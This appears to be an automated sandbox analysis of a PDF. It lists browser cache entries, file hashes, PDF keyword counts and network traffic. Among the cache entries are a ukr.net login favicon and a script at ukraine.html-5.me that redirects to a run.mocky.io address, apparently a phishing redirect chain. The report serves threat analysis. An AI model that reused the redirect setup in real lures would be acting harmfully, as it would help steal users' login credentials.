URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwlwELC0vuDv3xIFDShLLYkSBQ18gFM1EhAJpsUSADRPYIQSBQ1bZmhtEhcJr70jopm9Hd0SBQ0KugeAEgUNc0w9Lg==?alt=proto
Preview:	ChIKBw0oSy2JGgAKBw18gFM1GgAKCQoHDVtmaG0aAAoSCgcNCroHgBoACgcNc0w9LhoA

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	downloaded
Size (bytes):	1150
Entropy (8bit):	5.917962416527031
Encrypted:	false
SSDEEP:	24:KwK83oSdY6TbapMSrORL4I4xITjka1wqQwnTDjFily6tN125Ov9:RK+oOnvAOqLMj71wqQwnTM06L9
MD5:	D2F9D7A93B342ED873B83EF890009FD3
SHA1:	4EFDC0D7ED4E03719B27A16B80675D5CC3D98C08
SHA-256:	98E7B565107CEC0DE9C9F0D02EC8FA9A34C02033711BB8BE86B64D830F69BE38
SHA-512:	52967761AD27110A4CCF9C8D96966C198D006E19406188A637DC48E5B328F03C9A15E41D45DC535E17BBEC66A8B99CF9D768C9D220FF6FEEB6ED40D08A6EF56B
Malicious:	false
URL:	https://accounts.ukr.net/login/favicon.ico
Preview:	............ .h.......(....... ..... .........................O..N..L..K..J..H..G..E..D..B...A...?...=...=...;...8...N..O..M..L..K..I..H..E..D..C...A...@...>...=...;...:...M..N..N..M..K..J..H..G..E..C...B...A...?...>...<...4...F...G...O..M..L..K..I..G..F..E..C...A...@...>...'.\|...l.J...G...A...J..L..K..J..G..G..E..C...B...6.....r...l...l.J...H...F...A...B...K..J..I..G..F..B...'.....n...n...m...l.J...H...G...D...k.......x..I..H..q......E.....o...n...m...l.J...H...P...........................................t...m...l.J...l...................................................G.....l.*.m...........................................................]..~W..................................................~W.!oN'........................................................!oN'II7........................................................II7.UU9....L.................................................:UU9.....@@@....+...W...ei...U...U...U...U...h.

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13733), with no line terminators
Category:	dropped
Size (bytes):	13733
Entropy (8bit):	4.794385783118715
Encrypted:	false
SSDEEP:	192:4hsoEj776Bn/tnHcgaollys/6+EgH3JLg7oLu0MyMVu:i50/3xoGs/jE839g2FB1
MD5:	FC66E046447092C606F2587837F96874
SHA1:	FCF354A8044F494EE1F9FE868DDE3F570F50E593
SHA-256:	5069425B121346B36F730910D05402D50920FC2178B01E0C878B71AF4EF1EB96
SHA-512:	51CD149B2876E90621AFC579FB172E253548A851D4C202181E1FABA812F5BEB1AE9CCF9F153137F60C569E05A79DCB272176E0126ECEAC54316208D2699A689F
Malicious:	false
Preview:	var slowAES={aes:{keySize:{SIZE_128:16,SIZE_192:24,SIZE_256:32},sbox:[99,124,119,123,242,107,111,197,48,1,103,43,254,215,171,118,202,130,201,125,250,89,71,240,173,212,162,175,156,164,114,192,183,253,147,38,54,63,247,204,52,165,229,241,113,216,49,21,4,199,35,195,24,150,5,154,7,18,128,226,235,39,178,117,9,131,44,26,27,110,90,160,82,59,214,179,41,227,47,132,83,209,0,237,32,252,177,91,106,203,190,57,74,76,88,207,208,239,170,251,67,77,51,133,69,249,2,127,80,60,159,168,81,163,64,143,146,157,56,245,188,182,218,33,16,255,243,210,205,12,19,236,95,151,68,23,196,167,126,61,100,93,25,115,96,129,79,220,34,42,144,136,70,238,184,20,222,94,11,219,224,50,58,10,73,6,36,92,194,211,172,98,145,149,228,121,231,200,55,109,141,213,78,169,108,86,244,234,101,122,174,8,186,120,37,46,28,166,180,198,232,221,116,31,75,189,139,138,112,62,181,102,72,3,246,14,97,53,87,185,134,193,29,158,225,248,152,17,105,217,142,148,155,30,135,233,206,85,40,223,140,161,137,13,191,230,66,104,65,153,45,15,176,84,187,22],rsbox:[82,9,106

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.917962416527031
Encrypted:	false
SSDEEP:	24:KwK83oSdY6TbapMSrORL4I4xITjka1wqQwnTDjFily6tN125Ov9:RK+oOnvAOqLMj71wqQwnTM06L9
MD5:	D2F9D7A93B342ED873B83EF890009FD3
SHA1:	4EFDC0D7ED4E03719B27A16B80675D5CC3D98C08
SHA-256:	98E7B565107CEC0DE9C9F0D02EC8FA9A34C02033711BB8BE86B64D830F69BE38
SHA-512:	52967761AD27110A4CCF9C8D96966C198D006E19406188A637DC48E5B328F03C9A15E41D45DC535E17BBEC66A8B99CF9D768C9D220FF6FEEB6ED40D08A6EF56B
Malicious:	false
Preview:	............ .h.......(....... ..... .........................O..N..L..K..J..H..G..E..D..B...A...?...=...=...;...8...N..O..M..L..K..I..H..E..D..C...A...@...>...=...;...:...M..N..N..M..K..J..H..G..E..C...B...A...?...>...<...4...F...G...O..M..L..K..I..G..F..E..C...A...@...>...'.\|...l.J...G...A...J..L..K..J..G..G..E..C...B...6.....r...l...l.J...H...F...A...B...K..J..I..G..F..B...'.....n...n...m...l.J...H...G...D...k.......x..I..H..q......E.....o...n...m...l.J...H...P...........................................t...m...l.J...l...................................................G.....l.*.m...........................................................]..~W..................................................~W.!oN'........................................................!oN'II7........................................................II7.UU9....L.................................................:UU9.....@@@....+...W...ei...U...U...U...U...h.

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13733), with no line terminators
Category:	downloaded
Size (bytes):	13733
Entropy (8bit):	4.794385783118715
Encrypted:	false
SSDEEP:	192:4hsoEj776Bn/tnHcgaollys/6+EgH3JLg7oLu0MyMVu:i50/3xoGs/jE839g2FB1
MD5:	FC66E046447092C606F2587837F96874
SHA1:	FCF354A8044F494EE1F9FE868DDE3F570F50E593
SHA-256:	5069425B121346B36F730910D05402D50920FC2178B01E0C878B71AF4EF1EB96
SHA-512:	51CD149B2876E90621AFC579FB172E253548A851D4C202181E1FABA812F5BEB1AE9CCF9F153137F60C569E05A79DCB272176E0126ECEAC54316208D2699A689F
Malicious:	false
URL:	http://ukraine.html-5.me/aes.js
Preview:	var slowAES={aes:{keySize:{SIZE_128:16,SIZE_192:24,SIZE_256:32},sbox:[99,124,119,123,242,107,111,197,48,1,103,43,254,215,171,118,202,130,201,125,250,89,71,240,173,212,162,175,156,164,114,192,183,253,147,38,54,63,247,204,52,165,229,241,113,216,49,21,4,199,35,195,24,150,5,154,7,18,128,226,235,39,178,117,9,131,44,26,27,110,90,160,82,59,214,179,41,227,47,132,83,209,0,237,32,252,177,91,106,203,190,57,74,76,88,207,208,239,170,251,67,77,51,133,69,249,2,127,80,60,159,168,81,163,64,143,146,157,56,245,188,182,218,33,16,255,243,210,205,12,19,236,95,151,68,23,196,167,126,61,100,93,25,115,96,129,79,220,34,42,144,136,70,238,184,20,222,94,11,219,224,50,58,10,73,6,36,92,194,211,172,98,145,149,228,121,231,200,55,109,141,213,78,169,108,86,244,234,101,122,174,8,186,120,37,46,28,166,180,198,232,221,116,31,75,189,139,138,112,62,181,102,72,3,246,14,97,53,87,185,134,193,29,158,225,248,152,17,105,217,142,148,155,30,135,233,206,85,40,223,140,161,137,13,191,230,66,104,65,153,45,15,176,84,187,22],rsbox:[82,9,106

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, 17 tables, 1st "GPOS", 30 names, Macintosh, Copyright (c) 2011-2015 by tyPoland Lukasz Dziedzic (http://www.typoland.com/) with Reserved Fon
Category:	downloaded
Size (bytes):	600856
Entropy (8bit):	6.71864820526215
Encrypted:	false
SSDEEP:	6144:SvwF0zyFuyME259EmZDEVLLSF09pZ74xAKs81SeVf0We7ptNGKg1Qe7YL3:Sa0WsyX2AqFKaDsZeysOe7Yz
MD5:	5B1B8B856D7A8CB1CB0BAE6D0573F2E9
SHA1:	6D703BD84D8D9F5234B4C8D4C8391AD8155B30B3
SHA-256:	F71F833C099F450606F8107B83EF208AE918C0EA00779466D45E9BE96B0BC7CC
SHA-512:	63AFEAEDDC14A9C26BBF303756F5E47182AB7FB2AD75ACCAC9B85F514A700116BC0172644AC006BFB9A901F9293B584A65AB0E7650F6F0403FDF5DE755F2B52D
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/lato-font/2.0.0/fonts/lato-bold/lato-bold.ttf
Preview:	............GPOS0R2.......~.GSUB.S\|-......(fOS/2k?.........`cmap...H..14....cvt <.....S,....fpgm......F.....gasp............glyf...T..T...~.head..8[.......6hhea...n...T...$hmtx^JN......./<kern...,........loca...\|....../@maxp.......x... name.\|.O........postX......8..joprepo.i:..Rp............rR.._.<...........y......@..J.........................V.....J.......................................P.`.w.............g.......x.......x.......c.2................P...........tyPL.......J.z...... .............. ...F..........m...k...J...%...+.M.+.M.........~...~...l.....K.........Q...Q.f.[...[......./.......b...........P.K.P.K.s.M.........P.L.....I...I..................m...6...=.........(...1...1.S.3.o.z...C...C.;.C...C...C...C.o.E.o.E.p.G.u.@.,.B.,.B...).K.)...).U.).D.)...)............................9..8.).8..8..8..8..8..8..9.....9....).......O.)...).... .1.o.E.h.z.h...h.....`...B.....-.U.........-.z.-.z...'...}...z.h.z.h.z.}.C.\|.1...C.p.z.p.z.o.E...z.o.1.o.1.`.1.a.1...z.[.*

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.06667707370723
Encrypted:	false
SSDEEP:	3:pW0RARkK:pW0Wh
MD5:	D56E1F111D21E94D6F8C8F9E9533AD81
SHA1:	A45F279CE4247BDE4D117DCEB5C0B31C0DDACD72
SHA-256:	770B79082C085FBB8C0F5B56ED826D18876BC31AA12CB8CBF2A643863A438199
SHA-512:	710DA71764BB170672D63C2F37FFD6C148DBFC20F912EFA4DFE354D86883AB5CB6426AB98DEB15EBD77EB3FF8DCDE36C21797B065AB8CBA3EC2DB05C806B85D3
Malicious:	false
Preview:	{. "origin": "173.254.250.71".}.

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	101
Entropy (8bit):	5.071944161874917
Encrypted:	false
SSDEEP:	3:gAdNvWUn6NVwSu5WH03GXIb:7feUnomb
MD5:	6B174BE39E1D9BCDFF243E1F2DD59505
SHA1:	A30F3B4DE4793A1CB6DADFEE55B676F9F613B27B
SHA-256:	50E05EB092283FE82423B08F8459C54B365F71E33A6C56FDA3E38F58C8207315
SHA-512:	3307098191CFEFDCF16BE33A86EAA66EB63A2B9EE2435C8741294DFE1BF30936F17B45A8619F4FF6FF6B0A28AEF9FCF9D18BE2C9E29F887B205D470CD9C78B54
Malicious:	false
URL:	http://ukraine.html-5.me/?i=1
Preview:	<script>.. location='https://run.mocky.io/v3/11273092-7220-4b85-b8d8-758c5fd141a2';.. </script>

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 86 x 25
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	7.110022670289529
Encrypted:	false
SSDEEP:	48:PHAvnLyfNpF3e1J39Br2fyL81pYI+1Z+zs4m0yby0AlcD/KEiX1+VeA:PgefHpexcfy0+IwZh02ilAeA
MD5:	7A96834914587AC43864282FF395CD36
SHA1:	27568E0285CBDADC51817D972629F6A16CBF777F
SHA-256:	19E1BF9FE02363F52BEA7320BF01172B4E256133C5BA593F2EDCEE480EA1E658
SHA-512:	526B74589B1252D9401B977A004C2683F94E309E3564982063EC6C26F4BEEE5563EE81804EE961CBFC3B9D2D75ABA692CE4D7DA1D48F42AC070E7D37E2783039
Malicious:	false
Preview:	GIF89aV............!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:56b05470-af44-44eb-9fe0-81b87d3be041" xmpMM:DocumentID="xmp.did:DB66799B433A11E78AF5F6E47B418616" xmpMM:InstanceID="xmp.iid:DB66799A433A11E78AF5F6E47B418616" xmp:CreatorTool="Adobe Photoshop CC 2017 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f454ccd2-3395-41ee-ad8c-8d692186c3f5" stRef:documentID="xmp.did:56b05470-af44-44eb-9fe0-81b87d3be041"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..................................................................................

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	33
Entropy (8bit):	4.06667707370723
Encrypted:	false
SSDEEP:	3:pW0RARkK:pW0Wh
MD5:	D56E1F111D21E94D6F8C8F9E9533AD81
SHA1:	A45F279CE4247BDE4D117DCEB5C0B31C0DDACD72
SHA-256:	770B79082C085FBB8C0F5B56ED826D18876BC31AA12CB8CBF2A643863A438199
SHA-512:	710DA71764BB170672D63C2F37FFD6C148DBFC20F912EFA4DFE354D86883AB5CB6426AB98DEB15EBD77EB3FF8DCDE36C21797B065AB8CBA3EC2DB05C806B85D3
Malicious:	false
URL:	https://httpbin.org/ip
Preview:	{. "origin": "173.254.250.71".}.

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (828), with no line terminators
Category:	downloaded
Size (bytes):	828
Entropy (8bit):	5.481803637768719
Encrypted:	false
SSDEEP:	24:k3ToymIsYv5WuVLZ9hNbhA0F9LiOQFZ/DHVXRq:wx5WuFZzNmUjQHdRq
MD5:	E74D89415224D60B9A183855FC0B91C9
SHA1:	CBB7AFE1DFE58E58ED48AE05386D1B22AA69C8FA
SHA-256:	DBC5FE83F792A4C7E8E6582CAEF6D4675D1404A9B051C13C7991E5E6082BAE08
SHA-512:	E579BC71C52C1A77A8B253592964C19C33453C961B6E29CF26052871D4F355FD6E59F131C8D6FA6087D91FF893A35E51471D25F84EFE07E4C652DE703CF02F4D
Malicious:	false
URL:	http://ukraine.html-5.me/
Preview:	<html><body><script type="text/javascript" src="/aes.js" ></script><script>function toNumbers(d){var e=[];d.replace(/(..)/g,function(d){e.push(parseInt(d,16))});return e}function toHex(){for(var d=[],d=1==arguments.length&&arguments[0].constructor==Array?arguments[0]:arguments,e="",f=0;f<d.length;f++)e+=(16>d[f]?"0":"")+d[f].toString(16);return e.toLowerCase()}var a=toNumbers("f655ba9d09a112d4968c63579db590b4"),b=toNumbers("98344c2eee86c3994890592585b49f80"),c=toNumbers("897e1239a65693762c1cc6c88ab7e977");document.cookie="__test="+toHex(slowAES.decrypt(c,2,a,b))+"; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/"; location.href="http://ukraine.html-5.me/?i=1";</script><noscript>This site requires Javascript to work, please enable Javascript in your browser or use a browser with Javascript support</noscript></body></html>

Static File Info

General

File type:	PDF document, version 1.4, 0 pages
Entropy (8bit):	7.85475037746529
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	VM2ICvV5qQ.pdf
File size:	41'253 bytes
MD5:	edeeb6bb575d972ae8d11805eaaaa681
SHA1:	5d0b7b416194652c0f3112bd07abd9224dff1049
SHA256:	a097400e060edf1190002a30c64506da0f72f92f96ed526b01cb4c00d5df2f0c
SHA512:	60d38c7e4518123ab39a5da3d15c534cadb89143a1e8ce09e2b8cb503a30deb254b1d1df818bd32ddb782f7b47ac8344cc26b43fe0f5b74e82ec03b0845eb6bb
SSDEEP:	768:hU4+iKj68ELdGq2ko+Zykb7drU6V1BBabUzIRRkgbK4XMHP:P+iKmlXB0bZLpKZHP
TLSH:	5E03D0B2E4995CCDF4E3CB4190A03D8D05BDF4AA8BCD697170714F02BE0499EABB15E6
File Content Preview:	%PDF-1.4.1 0 obj.<<./Title (..)./Creator (...w.k.h.t.m.l.t.o.p.d.f. .0...1.2...6)./Producer (...Q.t. .4...8...7)./CreationDate (D:20241023061556+02'00').>>.endobj.3 0 obj.<<./Type /ExtGState./SA true./SM 0.02./ca 1.0./CA 1.0./AIS false./SMask /None>>.endo

File Icon


Icon Hash:	62cc8caeb29e8ae0

Static PDF Info

General
Header:	%PDF-1.4
Total Entropy:	7.854750
Total Bytes:	41253
Stream Entropy:	7.970783
Stream Bytes:	35978
Entropy outside Streams:	5.175787
Bytes outside Streams:	5275
Number of EOF found:	1
Bytes after EOF:

Keywords Statistics

Name	Count
obj	35
endobj	35
stream	8
endstream	8
xref	1
trailer	1
startxref	1
/Page	1
/Encrypt	0
/ObjStm	0
/URI	2
/JS	0
/JavaScript	0
/AA	0
/OpenAction	0
/AcroForm	0
/JBIG2Decode	0
/RichMedia	0
/Launch	0
/EmbeddedFile	0

Image Streams

ID	DHASH	MD5	Preview
6	480a094919548495	e0010a628050840dad275e9b40b7a431

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 08:49:55.152319908 CEST	49675	443	192.168.2.4	173.222.162.32
Oct 24, 2024 08:50:01.317315102 CEST	49738	443	192.168.2.4	184.28.90.27
Oct 24, 2024 08:50:01.317358017 CEST	443	49738	184.28.90.27	192.168.2.4
Oct 24, 2024 08:50:01.317449093 CEST	49738	443	192.168.2.4	184.28.90.27
Oct 24, 2024 08:50:01.319015026 CEST	49738	443	192.168.2.4	184.28.90.27
Oct 24, 2024 08:50:01.319025993 CEST	443	49738	184.28.90.27	192.168.2.4
Oct 24, 2024 08:50:02.162602901 CEST	443	49738	184.28.90.27	192.168.2.4
Oct 24, 2024 08:50:02.162694931 CEST	49738	443	192.168.2.4	184.28.90.27
Oct 24, 2024 08:50:02.276675940 CEST	49738	443	192.168.2.4	184.28.90.27
Oct 24, 2024 08:50:02.276709080 CEST	443	49738	184.28.90.27	192.168.2.4
Oct 24, 2024 08:50:02.276982069 CEST	443	49738	184.28.90.27	192.168.2.4
Oct 24, 2024 08:50:02.330323935 CEST	49738	443	192.168.2.4	184.28.90.27
Oct 24, 2024 08:50:02.724299908 CEST	49738	443	192.168.2.4	184.28.90.27
Oct 24, 2024 08:50:02.771336079 CEST	443	49738	184.28.90.27	192.168.2.4
Oct 24, 2024 08:50:02.966581106 CEST	443	49738	184.28.90.27	192.168.2.4
Oct 24, 2024 08:50:02.966655016 CEST	443	49738	184.28.90.27	192.168.2.4
Oct 24, 2024 08:50:02.966831923 CEST	49738	443	192.168.2.4	184.28.90.27
Oct 24, 2024 08:50:02.966878891 CEST	443	49738	184.28.90.27	192.168.2.4
Oct 24, 2024 08:50:02.966897011 CEST	49738	443	192.168.2.4	184.28.90.27
Oct 24, 2024 08:50:02.966897011 CEST	49738	443	192.168.2.4	184.28.90.27
Oct 24, 2024 08:50:02.966906071 CEST	443	49738	184.28.90.27	192.168.2.4
Oct 24, 2024 08:50:02.966912031 CEST	443	49738	184.28.90.27	192.168.2.4
Oct 24, 2024 08:50:03.031924009 CEST	49739	443	192.168.2.4	184.28.90.27
Oct 24, 2024 08:50:03.031979084 CEST	443	49739	184.28.90.27	192.168.2.4
Oct 24, 2024 08:50:03.032083988 CEST	49739	443	192.168.2.4	184.28.90.27
Oct 24, 2024 08:50:03.032356024 CEST	49739	443	192.168.2.4	184.28.90.27
Oct 24, 2024 08:50:03.032366037 CEST	443	49739	184.28.90.27	192.168.2.4
Oct 24, 2024 08:50:03.873531103 CEST	443	49739	184.28.90.27	192.168.2.4
Oct 24, 2024 08:50:03.873616934 CEST	49739	443	192.168.2.4	184.28.90.27
Oct 24, 2024 08:50:03.874799967 CEST	49739	443	192.168.2.4	184.28.90.27
Oct 24, 2024 08:50:03.874814034 CEST	443	49739	184.28.90.27	192.168.2.4
Oct 24, 2024 08:50:03.875031948 CEST	443	49739	184.28.90.27	192.168.2.4
Oct 24, 2024 08:50:03.876075983 CEST	49739	443	192.168.2.4	184.28.90.27
Oct 24, 2024 08:50:03.919332981 CEST	443	49739	184.28.90.27	192.168.2.4
Oct 24, 2024 08:50:04.122000933 CEST	443	49739	184.28.90.27	192.168.2.4
Oct 24, 2024 08:50:04.122066975 CEST	443	49739	184.28.90.27	192.168.2.4
Oct 24, 2024 08:50:04.122112989 CEST	49739	443	192.168.2.4	184.28.90.27
Oct 24, 2024 08:50:04.122796059 CEST	49739	443	192.168.2.4	184.28.90.27
Oct 24, 2024 08:50:04.122814894 CEST	443	49739	184.28.90.27	192.168.2.4
Oct 24, 2024 08:50:04.122826099 CEST	49739	443	192.168.2.4	184.28.90.27
Oct 24, 2024 08:50:04.122831106 CEST	443	49739	184.28.90.27	192.168.2.4
Oct 24, 2024 08:50:07.273920059 CEST	49741	443	192.168.2.4	172.202.163.200
Oct 24, 2024 08:50:07.273972034 CEST	443	49741	172.202.163.200	192.168.2.4
Oct 24, 2024 08:50:07.274043083 CEST	49741	443	192.168.2.4	172.202.163.200
Oct 24, 2024 08:50:07.275000095 CEST	49741	443	192.168.2.4	172.202.163.200
Oct 24, 2024 08:50:07.275038004 CEST	443	49741	172.202.163.200	192.168.2.4
Oct 24, 2024 08:50:08.042659044 CEST	443	49741	172.202.163.200	192.168.2.4
Oct 24, 2024 08:50:08.042923927 CEST	49741	443	192.168.2.4	172.202.163.200
Oct 24, 2024 08:50:08.045525074 CEST	49741	443	192.168.2.4	172.202.163.200
Oct 24, 2024 08:50:08.045531034 CEST	443	49741	172.202.163.200	192.168.2.4
Oct 24, 2024 08:50:08.045814037 CEST	443	49741	172.202.163.200	192.168.2.4
Oct 24, 2024 08:50:08.090559006 CEST	49741	443	192.168.2.4	172.202.163.200
Oct 24, 2024 08:50:08.977281094 CEST	49741	443	192.168.2.4	172.202.163.200
Oct 24, 2024 08:50:09.023325920 CEST	443	49741	172.202.163.200	192.168.2.4
Oct 24, 2024 08:50:09.229475975 CEST	443	49741	172.202.163.200	192.168.2.4
Oct 24, 2024 08:50:09.229504108 CEST	443	49741	172.202.163.200	192.168.2.4
Oct 24, 2024 08:50:09.229511023 CEST	443	49741	172.202.163.200	192.168.2.4
Oct 24, 2024 08:50:09.229526043 CEST	443	49741	172.202.163.200	192.168.2.4
Oct 24, 2024 08:50:09.229548931 CEST	443	49741	172.202.163.200	192.168.2.4
Oct 24, 2024 08:50:09.229569912 CEST	49741	443	192.168.2.4	172.202.163.200
Oct 24, 2024 08:50:09.229588985 CEST	443	49741	172.202.163.200	192.168.2.4
Oct 24, 2024 08:50:09.229617119 CEST	49741	443	192.168.2.4	172.202.163.200
Oct 24, 2024 08:50:09.229633093 CEST	49741	443	192.168.2.4	172.202.163.200
Oct 24, 2024 08:50:09.230587006 CEST	443	49741	172.202.163.200	192.168.2.4
Oct 24, 2024 08:50:09.230660915 CEST	49741	443	192.168.2.4	172.202.163.200
Oct 24, 2024 08:50:09.230670929 CEST	443	49741	172.202.163.200	192.168.2.4
Oct 24, 2024 08:50:09.230763912 CEST	443	49741	172.202.163.200	192.168.2.4
Oct 24, 2024 08:50:09.230802059 CEST	49741	443	192.168.2.4	172.202.163.200
Oct 24, 2024 08:50:10.075480938 CEST	49741	443	192.168.2.4	172.202.163.200
Oct 24, 2024 08:50:10.075501919 CEST	443	49741	172.202.163.200	192.168.2.4
Oct 24, 2024 08:50:11.823029041 CEST	49723	80	192.168.2.4	199.232.214.172
Oct 24, 2024 08:50:11.828753948 CEST	80	49723	199.232.214.172	192.168.2.4
Oct 24, 2024 08:50:11.828804016 CEST	49723	80	192.168.2.4	199.232.214.172
Oct 24, 2024 08:50:22.119565010 CEST	49752	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:22.119946957 CEST	49753	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:22.125159979 CEST	80	49752	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:22.125197887 CEST	80	49753	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:22.125247955 CEST	49752	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:22.125277996 CEST	49753	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:22.125467062 CEST	49752	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:22.131200075 CEST	80	49752	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:22.958693981 CEST	80	49752	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:22.978461981 CEST	49752	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:22.983764887 CEST	80	49752	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:23.218666077 CEST	80	49752	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:23.218741894 CEST	80	49752	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:23.218806028 CEST	49752	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:23.218858957 CEST	80	49752	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:23.218871117 CEST	80	49752	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:23.218908072 CEST	49752	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:23.219085932 CEST	80	49752	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:23.219104052 CEST	80	49752	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:23.219115973 CEST	80	49752	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:23.219126940 CEST	80	49752	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:23.219140053 CEST	80	49752	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:23.219156981 CEST	49752	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:23.219167948 CEST	49752	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:23.219635963 CEST	80	49752	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:23.219711065 CEST	49752	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:23.219732046 CEST	80	49752	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:23.224114895 CEST	80	49752	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:23.224174023 CEST	49752	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:23.235658884 CEST	49752	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:23.241069078 CEST	80	49752	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:23.287749052 CEST	49755	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:23.293068886 CEST	80	49755	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:23.293164015 CEST	49755	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:23.299371958 CEST	49755	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:23.304688931 CEST	80	49755	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:23.479087114 CEST	80	49752	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:23.519685030 CEST	49752	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:23.527406931 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:23.527507067 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:23.527589083 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:23.527679920 CEST	49757	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:23.527745008 CEST	443	49757	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:23.527818918 CEST	49757	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:23.527874947 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:23.527920008 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:23.528090954 CEST	49757	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:23.528120995 CEST	443	49757	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.115112066 CEST	80	49755	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:24.115135908 CEST	80	49755	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:24.115148067 CEST	80	49755	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:24.115253925 CEST	80	49755	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:24.115307093 CEST	80	49755	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:24.115329027 CEST	80	49755	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:24.115341902 CEST	80	49755	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:24.115420103 CEST	49755	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:24.115420103 CEST	49755	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:24.115420103 CEST	49755	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:24.115710020 CEST	80	49755	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:24.115722895 CEST	80	49755	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:24.115732908 CEST	80	49755	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:24.115767002 CEST	49755	80	192.168.2.4	185.27.134.114
